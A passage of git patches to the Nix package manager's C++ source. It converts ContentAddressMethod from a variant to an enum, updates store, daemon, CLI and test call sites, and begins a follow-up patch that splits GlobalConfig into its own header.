renderFileIngestionMethod(getFileIngestionMethod()); + default: + assert(false); + } +} + +/** + * **Not surjective** + * + * This is not exposed because `FileIngestionMethod::Flat` maps to + * `ContentAddressMethod::Raw::Flat` and + * `ContentAddressMethod::Raw::Text` alike. We can thus only safely use + * this when the latter is ruled out (e.g. because it is already + * handled). + */ +static ContentAddressMethod fileIngestionMethodToContentAddressMethod(FileIngestionMethod m) +{ + switch (m) { + case FileIngestionMethod::Flat: + return ContentAddressMethod::Raw::Flat; + case FileIngestionMethod::NixArchive: + return ContentAddressMethod::Raw::NixArchive; + case FileIngestionMethod::Git: + return ContentAddressMethod::Raw::Git; + default: + assert(false); + } } ContentAddressMethod ContentAddressMethod::parse(std::string_view m) { if (m == "text") - return TextIngestionMethod {}; + return ContentAddressMethod::Raw::Text; else - return parseFileIngestionMethod(m); + return fileIngestionMethodToContentAddressMethod( + parseFileIngestionMethod(m)); } std::string_view ContentAddressMethod::renderPrefix() const { - return std::visit(overloaded { - [](TextIngestionMethod) -> std::string_view { return "text:"; }, - [](FileIngestionMethod m2) { - /* Not prefixed for back compat with things that couldn't produce text before. */ - return makeFileIngestionPrefix(m2); - }, - }, raw); + switch (raw) { + case ContentAddressMethod::Raw::Text: + return "text:"; + case ContentAddressMethod::Raw::Flat: + case ContentAddressMethod::Raw::NixArchive: + case ContentAddressMethod::Raw::Git: + return makeFileIngestionPrefix(getFileIngestionMethod()); + default: + assert(false); + } } ContentAddressMethod ContentAddressMethod::parsePrefix(std::string_view & m) { if (splitPrefix(m, "r:")) { - return FileIngestionMethod::NixArchive; + return ContentAddressMethod::Raw::NixArchive; } else if (splitPrefix(m, "git:")) { experimentalFeatureSettings.require(Xp::GitHashing); - return FileIngestionMethod::Git; + return ContentAddressMethod::Raw::Git; } else if (splitPrefix(m, "text:")) { - return TextIngestionMethod {}; + return ContentAddressMethod::Raw::Text; + } + return ContentAddressMethod::Raw::Flat; +} + +/** + * This is slightly more mindful of forward compat in that it uses `fixed:` + * rather than just doing a raw empty prefix or `r:`, which doesn't "save room" + * for future changes very well. + */ +static std::string renderPrefixModern(const ContentAddressMethod & ca) +{ + switch (ca.raw) { + case ContentAddressMethod::Raw::Text: + return "text:"; + case ContentAddressMethod::Raw::Flat: + case ContentAddressMethod::Raw::NixArchive: + case ContentAddressMethod::Raw::Git: + return "fixed:" + makeFileIngestionPrefix(ca.getFileIngestionMethod()); + default: + assert(false); } - return FileIngestionMethod::Flat; } std::string ContentAddressMethod::renderWithAlgo(HashAlgorithm ha) const { - return std::visit(overloaded { - [&](const TextIngestionMethod & th) { - return std::string{"text:"} + printHashAlgo(ha); - }, - [&](const FileIngestionMethod & fim) { - return "fixed:" + makeFileIngestionPrefix(fim) + printHashAlgo(ha); - } - }, raw); + return renderPrefixModern(*this) + printHashAlgo(ha); } FileIngestionMethod ContentAddressMethod::getFileIngestionMethod() const { - return std::visit(overloaded { - [&](const TextIngestionMethod & th) { - return FileIngestionMethod::Flat; - }, - [&](const FileIngestionMethod & fim) { - return fim; - } - }, raw); + switch (raw) { + case ContentAddressMethod::Raw::Flat: + return FileIngestionMethod::Flat; + case ContentAddressMethod::Raw::NixArchive: + return FileIngestionMethod::NixArchive; + case ContentAddressMethod::Raw::Git: + return FileIngestionMethod::Git; + case ContentAddressMethod::Raw::Text: + return FileIngestionMethod::Flat; + default: + assert(false); + } } std::string ContentAddress::render() const { - return std::visit(overloaded { - [](const TextIngestionMethod &) -> std::string { - return "text:"; - }, - [](const FileIngestionMethod & method) { - return "fixed:" - + makeFileIngestionPrefix(method); - }, - }, method.raw) - + this->hash.to_string(HashFormat::Nix32, true); + return renderPrefixModern(method) + this->hash.to_string(HashFormat::Nix32, true); } /** @@ -130,17 +168,17 @@ static std::pair parseContentAddressMethodP // No parsing of the ingestion method, "text" only support flat. HashAlgorithm hashAlgo = parseHashAlgorithm_(); return { - TextIngestionMethod {}, + ContentAddressMethod::Raw::Text, std::move(hashAlgo), }; } else if (prefix == "fixed") { // Parse method - auto method = FileIngestionMethod::Flat; + auto method = ContentAddressMethod::Raw::Flat; if (splitPrefix(rest, "r:")) - method = FileIngestionMethod::NixArchive; + method = ContentAddressMethod::Raw::NixArchive; else if (splitPrefix(rest, "git:")) { experimentalFeatureSettings.require(Xp::GitHashing); - method = FileIngestionMethod::Git; + method = ContentAddressMethod::Raw::Git; } HashAlgorithm hashAlgo = parseHashAlgorithm_(); return { @@ -201,57 +239,58 @@ size_t StoreReferences::size() const ContentAddressWithReferences ContentAddressWithReferences::withoutRefs(const ContentAddress & ca) noexcept { - return std::visit(overloaded { - [&](const TextIngestionMethod &) -> ContentAddressWithReferences { - return TextInfo { - .hash = ca.hash, - .references = {}, - }; - }, - [&](const FileIngestionMethod & method) -> ContentAddressWithReferences { - return FixedOutputInfo { - .method = method, - .hash = ca.hash, - .references = {}, - }; - }, - }, ca.method.raw); + switch (ca.method.raw) { + case ContentAddressMethod::Raw::Text: + return TextInfo { + .hash = ca.hash, + .references = {}, + }; + case ContentAddressMethod::Raw::Flat: + case ContentAddressMethod::Raw::NixArchive: + case ContentAddressMethod::Raw::Git: + return FixedOutputInfo { + .method = ca.method.getFileIngestionMethod(), + .hash = ca.hash, + .references = {}, + }; + default: + assert(false); + } } ContentAddressWithReferences ContentAddressWithReferences::fromParts( ContentAddressMethod method, Hash hash, StoreReferences refs) { - return std::visit(overloaded { - [&](TextIngestionMethod _) -> ContentAddressWithReferences { - if (refs.self) - throw Error("self-reference not allowed with text hashing"); - return ContentAddressWithReferences { - TextInfo { - .hash = std::move(hash), - .references = std::move(refs.others), - } - }; - }, - [&](FileIngestionMethod m2) -> ContentAddressWithReferences { - return ContentAddressWithReferences { - FixedOutputInfo { - .method = m2, - .hash = std::move(hash), - .references = std::move(refs), - } - }; - }, - }, method.raw); + switch (method.raw) { + case ContentAddressMethod::Raw::Text: + if (refs.self) + throw Error("self-reference not allowed with text hashing"); + return TextInfo { + .hash = std::move(hash), + .references = std::move(refs.others), + }; + case ContentAddressMethod::Raw::Flat: + case ContentAddressMethod::Raw::NixArchive: + case ContentAddressMethod::Raw::Git: + return FixedOutputInfo { + .method = method.getFileIngestionMethod(), + .hash = std::move(hash), + .references = std::move(refs), + }; + default: + assert(false); + } } ContentAddressMethod ContentAddressWithReferences::getMethod() const { return std::visit(overloaded { [](const TextInfo & th) -> ContentAddressMethod { - return TextIngestionMethod {}; + return ContentAddressMethod::Raw::Text; }, [](const FixedOutputInfo & fsh) -> ContentAddressMethod { - return fsh.method; + return fileIngestionMethodToContentAddressMethod( + fsh.method); }, }, raw); } diff --git a/src/libstore/content-address.hh b/src/libstore/content-address.hh index 5925f8e01..6cc3b7cd9 100644 --- a/src/libstore/content-address.hh +++ b/src/libstore/content-address.hh @@ -5,7 +5,6 @@ #include "hash.hh" #include "path.hh" #include "file-content-address.hh" -#include "comparator.hh" #include "variant-wrapper.hh" namespace nix { @@ -14,24 +13,6 @@ namespace nix { * Content addressing method */ -/* We only have one way to hash text with references, so this is a single-value - type, mainly useful with std::variant. -*/ - -/** - * The single way we can serialize "text" file system objects. - * - * Somewhat obscure, used by \ref Derivation derivations and - * `builtins.toFile` currently. - * - * TextIngestionMethod is identical to FileIngestionMethod::Fixed except that - * the former may not have self-references and is tagged `text:${algo}:${hash}` - * rather than `fixed:${algo}:${hash}`. The contents of the store path are - * ingested and hashed identically, aside from the slightly different tag and - * restriction on self-references. - */ -struct TextIngestionMethod : std::monostate { }; - /** * Compute the prefix to the hash algorithm which indicates how the * files were ingested. @@ -48,14 +29,51 @@ std::string_view makeFileIngestionPrefix(FileIngestionMethod m); */ struct ContentAddressMethod { - typedef std::variant< - TextIngestionMethod, - FileIngestionMethod - > Raw; + enum struct Raw { + /** + * Calculate a store path using the `FileIngestionMethod::Flat` + * hash of the file system objects, and references. + * + * See `store-object/content-address.md#method-flat` in the + * manual. + */ + Flat, + + /** + * Calculate a store path using the + * `FileIngestionMethod::NixArchive` hash of the file system + * objects, and references. + * + * See `store-object/content-address.md#method-flat` in the + * manual. + */ + NixArchive, + + /** + * Calculate a store path using the `FileIngestionMethod::Git` + * hash of the file system objects, and references. + * + * Part of `ExperimentalFeature::GitHashing`. + * + * See `store-object/content-address.md#method-git` in the + * manual. + */ + Git, + + /** + * Calculate a store path using the `FileIngestionMethod::Flat` + * hash of the file system objects, and references, but in a + * different way than `ContentAddressMethod::Raw::Flat`. + * + * See `store-object/content-address.md#method-text` in the + * manual. + */ + Text, + }; Raw raw; - GENERATE_CMP(ContentAddressMethod, me->raw); + auto operator <=>(const ContentAddressMethod &) const = default; MAKE_WRAPPER_CONSTRUCTOR(ContentAddressMethod); @@ -141,7 +159,7 @@ struct ContentAddress */ Hash hash; - GENERATE_CMP(ContentAddress, me->method, me->hash); + auto operator <=>(const ContentAddress &) const = default; /** * Compute the content-addressability assertion @@ -200,7 +218,7 @@ struct StoreReferences */ size_t size() const; - GENERATE_CMP(StoreReferences, me->self, me->others); + auto operator <=>(const StoreReferences &) const = default; }; // This matches the additional info that we need for makeTextPath @@ -217,7 +235,7 @@ struct TextInfo */ StorePathSet references; - GENERATE_CMP(TextInfo, me->hash, me->references); + auto operator <=>(const TextInfo &) const = default; }; struct FixedOutputInfo @@ -237,7 +255,7 @@ struct FixedOutputInfo */ StoreReferences references; - GENERATE_CMP(FixedOutputInfo, me->hash, me->references); + auto operator <=>(const FixedOutputInfo &) const = default; }; /** @@ -254,7 +272,7 @@ struct ContentAddressWithReferences Raw raw; - GENERATE_CMP(ContentAddressWithReferences, me->raw); + auto operator <=>(const ContentAddressWithReferences &) const = default; MAKE_WRAPPER_CONSTRUCTOR(ContentAddressWithReferences); diff --git a/src/libstore/daemon.cc b/src/libstore/daemon.cc index 788c5e2ea..40163a621 100644 --- a/src/libstore/daemon.cc +++ b/src/libstore/daemon.cc @@ -435,19 +435,21 @@ static void performOp(TunnelLogger * logger, ref store, } else { HashAlgorithm hashAlgo; std::string baseName; - FileIngestionMethod method; + ContentAddressMethod method; { bool fixed; uint8_t recursive; std::string hashAlgoRaw; from >> baseName >> fixed /* obsolete */ >> recursive >> hashAlgoRaw; - if (recursive > (uint8_t) FileIngestionMethod::NixArchive) + if (recursive > true) throw Error("unsupported FileIngestionMethod with value of %i; you may need to upgrade nix-daemon", recursive); - method = FileIngestionMethod { recursive }; + method = recursive + ? ContentAddressMethod::Raw::NixArchive + : ContentAddressMethod::Raw::Flat; /* Compatibility hack. */ if (!fixed) { hashAlgoRaw = "sha256"; - method = FileIngestionMethod::NixArchive; + method = ContentAddressMethod::Raw::NixArchive; } hashAlgo = parseHashAlgo(hashAlgoRaw); } @@ -500,7 +502,7 @@ static void performOp(TunnelLogger * logger, ref store, logger->startWork(); auto path = ({ StringSource source { s }; - store->addToStoreFromDump(source, suffix, FileSerialisationMethod::Flat, TextIngestionMethod {}, HashAlgorithm::SHA256, refs, NoRepair); + store->addToStoreFromDump(source, suffix, FileSerialisationMethod::Flat, ContentAddressMethod::Raw::Text, HashAlgorithm::SHA256, refs, NoRepair); }); logger->stopWork(); to << store->printStorePath(path); diff --git a/src/libstore/derivations.cc b/src/libstore/derivations.cc index 869880112..6dfcc408c 100644 --- a/src/libstore/derivations.cc +++ b/src/libstore/derivations.cc @@ -150,7 +150,7 @@ StorePath writeDerivation(Store & store, }) : ({ StringSource s { contents }; - store.addToStoreFromDump(s, suffix, FileSerialisationMethod::Flat, TextIngestionMethod {}, HashAlgorithm::SHA256, references, repair); + store.addToStoreFromDump(s, suffix, FileSerialisationMethod::Flat, ContentAddressMethod::Raw::Text, HashAlgorithm::SHA256, references, repair); }); } @@ -274,7 +274,7 @@ static DerivationOutput parseDerivationOutput( { if (hashAlgoStr != "") { ContentAddressMethod method = ContentAddressMethod::parsePrefix(hashAlgoStr); - if (method == TextIngestionMethod {}) + if (method == ContentAddressMethod::Raw::Text) xpSettings.require(Xp::DynamicDerivations); const auto hashAlgo = parseHashAlgo(hashAlgoStr); if (hashS == "impure") { @@ -1249,7 +1249,7 @@ DerivationOutput DerivationOutput::fromJSON( auto methodAlgo = [&]() -> std::pair { auto & method_ = getString(valueAt(json, "method")); ContentAddressMethod method = ContentAddressMethod::parse(method_); - if (method == TextIngestionMethod {}) + if (method == ContentAddressMethod::Raw::Text) xpSettings.require(Xp::DynamicDerivations); auto & hashAlgo_ = getString(valueAt(json, "hashAlgo")); diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 07ace70d0..2b4e01eb3 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -1253,7 +1253,7 @@ StorePath LocalStore::addToStoreFromDump( std::filesystem::path tempDir; AutoCloseFD tempDirFd; - bool methodsMatch = ContentAddressMethod(FileIngestionMethod(dumpMethod)) == hashMethod; + bool methodsMatch = static_cast(dumpMethod) == hashMethod.getFileIngestionMethod(); /* If the methods don't match, our streaming hash of the dump is the wrong sort, and we need to rehash. */ diff --git a/src/libstore/path-info.cc b/src/libstore/path-info.cc index ddd7f50d9..5c27182b7 100644 --- a/src/libstore/path-info.cc +++ b/src/libstore/path-info.cc @@ -48,15 +48,21 @@ std::optional ValidPathInfo::contentAddressWithRef if (! ca) return std::nullopt; - return std::visit(overloaded { - [&](const TextIngestionMethod &) -> ContentAddressWithReferences { + switch (ca->method.raw) { + case ContentAddressMethod::Raw::Text: + { assert(references.count(path) == 0); return TextInfo { .hash = ca->hash, .references = references, }; - }, - [&](const FileIngestionMethod & m2) -> ContentAddressWithReferences { + } + + case ContentAddressMethod::Raw::Flat: + case ContentAddressMethod::Raw::NixArchive: + case ContentAddressMethod::Raw::Git: + default: + { auto refs = references; bool hasSelfReference = false; if (refs.count(path)) { @@ -64,15 +70,15 @@ std::optional ValidPathInfo::contentAddressWithRef refs.erase(path); } return FixedOutputInfo { - .method = m2, + .method = ca->method.getFileIngestionMethod(), .hash = ca->hash, .references = { .others = std::move(refs), .self = hasSelfReference, }, }; - }, - }, ca->method.raw); + } + } } bool ValidPathInfo::isContentAddressed(const Store & store) const @@ -127,22 +133,18 @@ ValidPathInfo::ValidPathInfo( : UnkeyedValidPathInfo(narHash) , path(store.makeFixedOutputPathFromCA(name, ca)) { + this->ca = ContentAddress { + .method = ca.getMethod(), + .hash = ca.getHash(), + }; std::visit(overloaded { [this](TextInfo && ti) { this->references = std::move(ti.references); - this->ca = ContentAddress { - .method = TextIngestionMethod {}, - .hash = std::move(ti.hash), - }; }, [this](FixedOutputInfo && foi) { this->references = std::move(foi.references.others); if (foi.references.self) this->references.insert(path); - this->ca = ContentAddress { - .method = std::move(foi.method), - .hash = std::move(foi.hash), - }; }, }, std::move(ca).raw); } diff --git a/src/libstore/remote-store.cc b/src/libstore/remote-store.cc index 9adad9c2a..d749ccd0a 100644 --- a/src/libstore/remote-store.cc +++ b/src/libstore/remote-store.cc @@ -392,8 +392,9 @@ ref RemoteStore::addCAToStore( else { if (repair) throw Error("repairing is not supported when building through the Nix daemon protocol < 1.25"); - std::visit(overloaded { - [&](const TextIngestionMethod & thm) -> void { + switch (caMethod.raw) { + case ContentAddressMethod::Raw::Text: + { if (hashAlgo != HashAlgorithm::SHA256) throw UnimplementedError("When adding text-hashed data called '%s', only SHA-256 is supported but '%s' was given", name, printHashAlgo(hashAlgo)); @@ -401,8 +402,14 @@ ref RemoteStore::addCAToStore( conn->to << WorkerProto::Op::AddTextToStore << name << s; WorkerProto::write(*this, *conn, references); conn.processStderr(); - }, - [&](const FileIngestionMethod & fim) -> void { + break; + } + case ContentAddressMethod::Raw::Flat: + case ContentAddressMethod::Raw::NixArchive: + case ContentAddressMethod::Raw::Git: + default: + { + auto fim = caMethod.getFileIngestionMethod(); conn->to << WorkerProto::Op::AddToStore << name @@ -432,9 +439,9 @@ ref RemoteStore::addCAToStore( } catch (EndOfFile & e) { } throw; } - + break; } - }, caMethod.raw); + } auto path = parseStorePath(readString(conn->from)); // Release our connection to prevent a deadlock in queryPathInfo(). conn_.reset(); diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index 8c957ff1a..05c4e1c5e 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -356,7 +356,7 @@ ValidPathInfo Store::addToStoreSlow( RegularFileSink fileSink { caHashSink }; TeeSink unusualHashTee { narHashSink, caHashSink }; - auto & narSink = method == FileIngestionMethod::NixArchive && hashAlgo != HashAlgorithm::SHA256 + auto & narSink = method == ContentAddressMethod::Raw::NixArchive && hashAlgo != HashAlgorithm::SHA256 ? static_cast(unusualHashTee) : narHashSink; @@ -384,9 +384,9 @@ ValidPathInfo Store::addToStoreSlow( finish. */ auto [narHash, narSize] = narHashSink.finish(); - auto hash = method == FileIngestionMethod::NixArchive && hashAlgo == HashAlgorithm::SHA256 + auto hash = method == ContentAddressMethod::Raw::NixArchive && hashAlgo == HashAlgorithm::SHA256 ? narHash - : method == FileIngestionMethod::Git + : method == ContentAddressMethod::Raw::Git ? git::dumpHash(hashAlgo, srcPath).hash : caHashSink.finish().first; diff --git a/src/libstore/store-api.hh b/src/libstore/store-api.hh index e719f9bf9..a5effb4c1 100644 --- a/src/libstore/store-api.hh +++ b/src/libstore/store-api.hh @@ -441,7 +441,7 @@ public: virtual StorePath addToStore( std::string_view name, const SourcePath & path, - ContentAddressMethod method = FileIngestionMethod::NixArchive, + ContentAddressMethod method = ContentAddressMethod::Raw::NixArchive, HashAlgorithm hashAlgo = HashAlgorithm::SHA256, const StorePathSet & references = StorePathSet(), PathFilter & filter = defaultPathFilter, @@ -455,7 +455,7 @@ public: ValidPathInfo addToStoreSlow( std::string_view name, const SourcePath & path, - ContentAddressMethod method = FileIngestionMethod::NixArchive, + ContentAddressMethod method = ContentAddressMethod::Raw::NixArchive, HashAlgorithm hashAlgo = HashAlgorithm::SHA256, const StorePathSet & references = StorePathSet(), std::optional expectedCAHash = {}); @@ -481,7 +481,7 @@ public: Source & dump, std::string_view name, FileSerialisationMethod dumpMethod = FileSerialisationMethod::NixArchive, - ContentAddressMethod hashMethod = FileIngestionMethod::NixArchive, + ContentAddressMethod hashMethod = ContentAddressMethod::Raw::NixArchive, HashAlgorithm hashAlgo = HashAlgorithm::SHA256, const StorePathSet & references = StorePathSet(), RepairFlag repair = NoRepair) = 0; diff --git a/src/libutil/file-content-address.hh b/src/libutil/file-content-address.hh index f3f5589de..4c7218f19 100644 --- a/src/libutil/file-content-address.hh +++ b/src/libutil/file-content-address.hh @@ -117,6 +117,8 @@ enum struct FileIngestionMethod : uint8_t { /** * Git hashing. * + * Part of `ExperimentalFeature::GitHashing`. + * * See `file-system-object/content-address.md#serial-git` in the * manual. */ diff --git a/src/nix-env/user-env.cc b/src/nix-env/user-env.cc index 5246b03e4..a24dd11d6 100644 --- a/src/nix-env/user-env.cc +++ b/src/nix-env/user-env.cc @@ -115,7 +115,7 @@ bool createUserEnv(EvalState & state, PackageInfos & elems, std::string str2 = str.str(); StringSource source { str2 }; state.store->addToStoreFromDump( - source, "env-manifest.nix", FileSerialisationMethod::Flat, TextIngestionMethod {}, HashAlgorithm::SHA256, references); + source, "env-manifest.nix", FileSerialisationMethod::Flat, ContentAddressMethod::Raw::Text, HashAlgorithm::SHA256, references); }); /* Get the environment builder expression. */ diff --git a/src/nix-store/nix-store.cc b/src/nix-store/nix-store.cc index 178702f91..d0840a02e 100644 --- a/src/nix-store/nix-store.cc +++ b/src/nix-store/nix-store.cc @@ -194,10 +194,10 @@ static void opAdd(Strings opFlags, Strings opArgs) store. */ static void opAddFixed(Strings opFlags, Strings opArgs) { - auto method = FileIngestionMethod::Flat; + ContentAddressMethod method = ContentAddressMethod::Raw::Flat; for (auto & i : opFlags) - if (i == "--recursive") method = FileIngestionMethod::NixArchive; + if (i == "--recursive") method = ContentAddressMethod::Raw::NixArchive; else throw UsageError("unknown flag '%1%'", i); if (opArgs.empty()) diff --git a/src/nix/add-to-store.cc b/src/nix/add-to-store.cc index ed46254f3..5c08f7616 100644 --- a/src/nix/add-to-store.cc +++ b/src/nix/add-to-store.cc @@ -12,7 +12,7 @@ struct CmdAddToStore : MixDryRun, StoreCommand { Path path; std::optional namePart; - ContentAddressMethod caMethod = FileIngestionMethod::NixArchive; + ContentAddressMethod caMethod = ContentAddressMethod::Raw::NixArchive; HashAlgorithm hashAlgo = HashAlgorithm::SHA256; CmdAddToStore() @@ -68,7 +68,7 @@ struct CmdAddFile : CmdAddToStore { CmdAddFile() { - caMethod = FileIngestionMethod::Flat; + caMethod = ContentAddressMethod::Raw::Flat; } std::string description() override diff --git a/src/nix/develop.cc b/src/nix/develop.cc index 27287a1a8..80510dc78 100644 --- a/src/nix/develop.cc +++ b/src/nix/develop.cc @@ -238,7 +238,7 @@ static StorePath getDerivationEnvironment(ref store, ref evalStore auto getEnvShPath = ({ StringSource source { getEnvSh }; evalStore->addToStoreFromDump( - source, "get-env.sh", FileSerialisationMethod::Flat, TextIngestionMethod {}, HashAlgorithm::SHA256, {}); + source, "get-env.sh", FileSerialisationMethod::Flat, ContentAddressMethod::Raw::Text, HashAlgorithm::SHA256, {}); }); drv.args = {store->printStorePath(getEnvShPath)}; diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc index 143935572..6bbf2578e 100644 --- a/src/nix/prefetch.cc +++ b/src/nix/prefetch.cc @@ -57,7 +57,9 @@ std::tuple prefetchFile( bool unpack, bool executable) { - auto ingestionMethod = unpack || executable ? FileIngestionMethod::NixArchive : FileIngestionMethod::Flat; + ContentAddressMethod method = unpack || executable + ? ContentAddressMethod::Raw::NixArchive + : ContentAddressMethod::Raw::Flat; /* Figure out a name in the Nix store. */ if (!name) { @@ -73,11 +75,10 @@ std::tuple prefetchFile( the store. */ if (expectedHash) { hashAlgo = expectedHash->algo; - storePath = store->makeFixedOutputPath(*name, FixedOutputInfo { - .method = ingestionMethod, - .hash = *expectedHash, - .references = {}, - }); + storePath = store->makeFixedOutputPathFromCA(*name, ContentAddressWithReferences::fromParts( + method, + *expectedHash, + {})); if (store->isValidPath(*storePath)) hash = expectedHash; else @@ -128,7 +129,7 @@ std::tuple prefetchFile( auto info = store->addToStoreSlow( *name, PosixSourceAccessor::createAtRoot(tmpFile), - ingestionMethod, hashAlgo, {}, expectedHash); + method, hashAlgo, {}, expectedHash); storePath = info.path; assert(info.ca); hash = info.ca->hash; diff --git a/src/perl/lib/Nix/Store.xs b/src/perl/lib/Nix/Store.xs index e8e209d97..acce25f3a 100644 --- a/src/perl/lib/Nix/Store.xs +++ b/src/perl/lib/Nix/Store.xs @@ -335,7 +335,7 @@ SV * StoreWrapper::addToStore(char * srcPath, int recursive, char * algo) PPCODE: try { - auto method = recursive ? FileIngestionMethod::NixArchive : FileIngestionMethod::Flat; + auto method = recursive ? ContentAddressMethod::Raw::NixArchive : ContentAddressMethod::Raw::Flat; auto path = THIS->store->addToStore( std::string(baseNameOf(srcPath)), PosixSourceAccessor::createAtRoot(srcPath), diff --git a/tests/unit/libstore/common-protocol.cc b/tests/unit/libstore/common-protocol.cc index 2c629b601..c8f6dd002 100644 --- a/tests/unit/libstore/common-protocol.cc +++ b/tests/unit/libstore/common-protocol.cc @@ -83,15 +83,15 @@ CHARACTERIZATION_TEST( "content-address", (std::tuple { ContentAddress { - .method = TextIngestionMethod {}, + .method = ContentAddressMethod::Raw::Text, .hash = hashString(HashAlgorithm::SHA256, "Derive(...)"), }, ContentAddress { - .method = FileIngestionMethod::Flat, + .method = ContentAddressMethod::Raw::Flat, .hash = hashString(HashAlgorithm::SHA1, "blob blob..."), }, ContentAddress { - .method = FileIngestionMethod::NixArchive, + .method = ContentAddressMethod::Raw::NixArchive, .hash = hashString(HashAlgorithm::SHA256, "(...)"), }, })) @@ -178,7 +178,7 @@ CHARACTERIZATION_TEST( std::nullopt, std::optional { ContentAddress { - .method = FileIngestionMethod::Flat, + .method = ContentAddressMethod::Raw::Flat, .hash = hashString(HashAlgorithm::SHA1, "blob blob..."), }, }, diff --git a/tests/unit/libstore/content-address.cc b/tests/unit/libstore/content-address.cc index f0806bd9a..72eb84fec 100644 --- a/tests/unit/libstore/content-address.cc +++ b/tests/unit/libstore/content-address.cc @@ -9,11 +9,11 @@ namespace nix { * --------------------------------------------------------------------------*/ TEST(ContentAddressMethod, testRoundTripPrintParse_1) { - for (const ContentAddressMethod & cam : { - ContentAddressMethod { TextIngestionMethod {} }, - ContentAddressMethod { FileIngestionMethod::Flat }, - ContentAddressMethod { FileIngestionMethod::NixArchive }, - ContentAddressMethod { FileIngestionMethod::Git }, + for (ContentAddressMethod cam : { + ContentAddressMethod::Raw::Text, + ContentAddressMethod::Raw::Flat, + ContentAddressMethod::Raw::NixArchive, + ContentAddressMethod::Raw::Git, }) { EXPECT_EQ(ContentAddressMethod::parse(cam.render()), cam); } diff --git a/tests/unit/libstore/derivation.cc b/tests/unit/libstore/derivation.cc index 210813137..71979f885 100644 --- a/tests/unit/libstore/derivation.cc +++ b/tests/unit/libstore/derivation.cc @@ -108,7 +108,7 @@ TEST_JSON(DerivationTest, inputAddressed, TEST_JSON(DerivationTest, caFixedFlat, (DerivationOutput::CAFixed { .ca = { - .method = FileIngestionMethod::Flat, + .method = ContentAddressMethod::Raw::Flat, .hash = Hash::parseAnyPrefixed("sha256-iUUXyRY8iW7DGirb0zwGgf1fRbLA7wimTJKgP7l/OQ8="), }, }), @@ -117,7 +117,7 @@ TEST_JSON(DerivationTest, caFixedFlat, TEST_JSON(DerivationTest, caFixedNAR, (DerivationOutput::CAFixed { .ca = { - .method = FileIngestionMethod::NixArchive, + .method = ContentAddressMethod::Raw::NixArchive, .hash = Hash::parseAnyPrefixed("sha256-iUUXyRY8iW7DGirb0zwGgf1fRbLA7wimTJKgP7l/OQ8="), }, }), @@ -126,6 +126,7 @@ TEST_JSON(DerivationTest, caFixedNAR, TEST_JSON(DynDerivationTest, caFixedText, (DerivationOutput::CAFixed { .ca = { + .method = ContentAddressMethod::Raw::Text, .hash = Hash::parseAnyPrefixed("sha256-iUUXyRY8iW7DGirb0zwGgf1fRbLA7wimTJKgP7l/OQ8="), }, }), @@ -133,7 +134,7 @@ TEST_JSON(DynDerivationTest, caFixedText, TEST_JSON(CaDerivationTest, caFloating, (DerivationOutput::CAFloating { - .method = FileIngestionMethod::NixArchive, + .method = ContentAddressMethod::Raw::NixArchive, .hashAlgo = HashAlgorithm::SHA256, }), "drv-name", "output-name") @@ -144,7 +145,7 @@ TEST_JSON(DerivationTest, deferred, TEST_JSON(ImpureDerivationTest, impure, (DerivationOutput::Impure { - .method = FileIngestionMethod::NixArchive, + .method = ContentAddressMethod::Raw::NixArchive, .hashAlgo = HashAlgorithm::SHA256, }), "drv-name", "output-name") diff --git a/tests/unit/libstore/serve-protocol.cc b/tests/unit/libstore/serve-protocol.cc index 17d7153bb..2505c5a9a 100644 --- a/tests/unit/libstore/serve-protocol.cc +++ b/tests/unit/libstore/serve-protocol.cc @@ -55,15 +55,15 @@ VERSIONED_CHARACTERIZATION_TEST( defaultVersion, (std::tuple { ContentAddress { - .method = TextIngestionMethod {}, + .method = ContentAddressMethod::Raw::Text, .hash = hashString(HashAlgorithm::SHA256, "Derive(...)"), }, ContentAddress { - .method = FileIngestionMethod::Flat, + .method = ContentAddressMethod::Raw::Flat, .hash = hashString(HashAlgorithm::SHA1, "blob blob..."), }, ContentAddress { - .method = FileIngestionMethod::NixArchive, + .method = ContentAddressMethod::Raw::NixArchive, .hash = hashString(HashAlgorithm::SHA256, "(...)"), }, })) @@ -398,7 +398,7 @@ VERSIONED_CHARACTERIZATION_TEST( std::nullopt, std::optional { ContentAddress { - .method = FileIngestionMethod::Flat, + .method = ContentAddressMethod::Raw::Flat, .hash = hashString(HashAlgorithm::SHA1, "blob blob..."), }, }, diff --git a/tests/unit/libstore/worker-protocol.cc b/tests/unit/libstore/worker-protocol.cc index 8d81717c9..c15120010 100644 --- a/tests/unit/libstore/worker-protocol.cc +++ b/tests/unit/libstore/worker-protocol.cc @@ -56,15 +56,15 @@ VERSIONED_CHARACTERIZATION_TEST( defaultVersion, (std::tuple { ContentAddress { - .method = TextIngestionMethod {}, + .method = ContentAddressMethod::Raw::Text, .hash = hashString(HashAlgorithm::SHA256, "Derive(...)"), }, ContentAddress { - .method = FileIngestionMethod::Flat, + .method = ContentAddressMethod::Raw::Flat, .hash = hashString(HashAlgorithm::SHA1, "blob blob..."), }, ContentAddress { - .method = FileIngestionMethod::NixArchive, + .method = ContentAddressMethod::Raw::NixArchive, .hash = hashString(HashAlgorithm::SHA256, "(...)"), }, })) @@ -598,7 +598,7 @@ VERSIONED_CHARACTERIZATION_TEST( std::nullopt, std::optional { ContentAddress { - .method = FileIngestionMethod::Flat, + .method = ContentAddressMethod::Raw::Flat, .hash = hashString(HashAlgorithm::SHA1, "blob blob..."), }, }, From 1620ad4587f280187124891dff909402b20db014 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 24 Jun 2024 11:34:58 -0400 Subject: [PATCH 0877/1251] Split out `GlobalConfig` into its own header This makes it easier to understand the reach of global variables / global state in the config system. --- src/libcmd/repl.cc | 1 + src/libexpr/eval-settings.cc | 1 + src/libexpr/flake/config.cc | 1 + src/libfetchers/fetch-settings.cc | 1 + src/libmain/common-args.cc | 1 + src/libstore/build/derivation-goal.cc | 1 + src/libstore/filetransfer.cc | 1 + src/libstore/globals.cc | 1 + src/libstore/unix/build/hook-instance.cc | 1 + src/libutil-c/nix_api_util.cc | 2 +- src/libutil/archive.cc | 2 +- src/libutil/config-global.cc | 66 ++++++++++++++++++++++++ src/libutil/config-global.hh | 33 ++++++++++++ src/libutil/config.cc | 61 ---------------------- src/libutil/config.hh | 25 --------- src/libutil/fs-sink.cc | 2 +- src/libutil/logging.cc | 2 +- src/nix/config.cc | 1 